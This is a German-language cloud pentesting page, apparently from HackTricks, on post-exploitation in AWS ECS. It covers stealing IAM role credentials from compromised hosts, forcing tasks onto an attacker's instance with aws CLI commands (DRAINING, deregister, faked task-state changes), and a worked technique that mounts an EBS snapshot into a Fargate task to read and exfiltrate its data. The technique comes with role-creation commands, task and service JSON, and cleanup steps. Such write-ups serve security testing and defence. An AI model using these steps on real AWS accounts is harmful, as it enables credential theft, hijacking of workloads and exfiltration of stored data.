AWS - ECS Post Exploitation

Reading time: 6 minutes

ECS

Für weitere Informationen siehe:

AWS - ECS Enum

Host IAM Roles

In ECS kann einer Task, die innerhalb des Containers läuft, eine IAM role zugewiesen werden. Wenn die Task innerhalb einer EC2 instance ausgeführt wird, hat die EC2 instance in der Regel eine andere IAM role angehängt.
Das bedeutet, dass wenn es dir gelingt, eine ECS instance zu compromise, du möglicherweise die IAM role, die mit der ECR und der EC2 instance verknüpft ist, obtain kannst. Für mehr Informationen darüber, wie man diese Zugangsdaten erhält, siehe:

Cloud SSRF - HackTricks

Privesc to node to steal other containers creds & secrets

Außerdem verwendet EC2 docker, um ECS tasks auszuführen. Wenn du auf den Node entkommen kannst oder access the docker socket, kannst du check, welche other containers ausgeführt werden, und sogar in sie get inside of them und deren angehängte IAM roles stehlen.

Making containers run in current host

Darüber hinaus hat die EC2 instance role normalerweise genügend permissions, um den container instance state der als Nodes verwendeten EC2 instances im Cluster zu update. Ein Angreifer könnte den state of an instance to DRAINING ändern; dann wird ECS remove all the tasks from it und die Tasks, die als REPLICA ausgeführt werden, werden in einer anderen instance gestartet, möglicherweise innerhalb der attackers instance, sodass er deren IAM roles und potenziell sensible Informationen aus dem Container steal kann.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Die gleiche Technik kann durchgeführt werden, indem die EC2 instance aus dem cluster entfernt wird. Das ist potenziell weniger unauffällig, aber es wird die tasks zwingen, auf anderen instances ausgeführt zu werden:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Eine letzte Technik, um die erneute Ausführung von Tasks zu erzwingen, besteht darin, ECS mitzuteilen, dass die Task oder der Container gestoppt wurde. Es gibt 3 potenzielle APIs, um dies zu tun:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Sensible Informationen aus ECR-Containern stehlen

Die EC2-Instanz hat wahrscheinlich auch die Berechtigung ecr:GetAuthorizationToken, wodurch sie Container-Images herunterladen kann (du könntest in ihnen nach sensiblen Informationen suchen).

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Missbrauche die native ECS–EBS-Integration (2024+), um den Inhalt eines bestehenden EBS snapshot direkt in einen neuen ECS task/service einzuhängen und dessen Daten aus dem Container heraus zu lesen.

• Benötigt (mindestens):

• ecs:RegisterTaskDefinition

• One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

• iam:PassRole on:

• ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

• Task execution/Task roles referenced by the task definition

• If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

• Impact: Beliebige Festplatteninhalte aus dem Snapshot (z. B. Datenbankdateien) innerhalb des Containers lesen und exfiltrate via network/logs.

Steps (Fargate example):

1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:

aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes

2. Registriere eine Task-Definition mit einem Volume, das mit configuredAtLaunch markiert ist, und mounte es im Container. Beispiel (gibt das secret aus und schläft dann):

{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}

3. Erstelle oder aktualisiere einen Service und übergebe den EBS-Snapshot über volumeConfigurations.managedEBSVolume (erfordert iam:PassRole für die Infra-Rolle). Beispiel:

{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}

4. Wenn der Task startet, kann der Container die Snapshot-Inhalte am konfigurierten Mount-Pfad (z. B. /loot) lesen. Daten über das Netzwerk/Logs des Tasks exfiltrieren.

Bereinigung:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read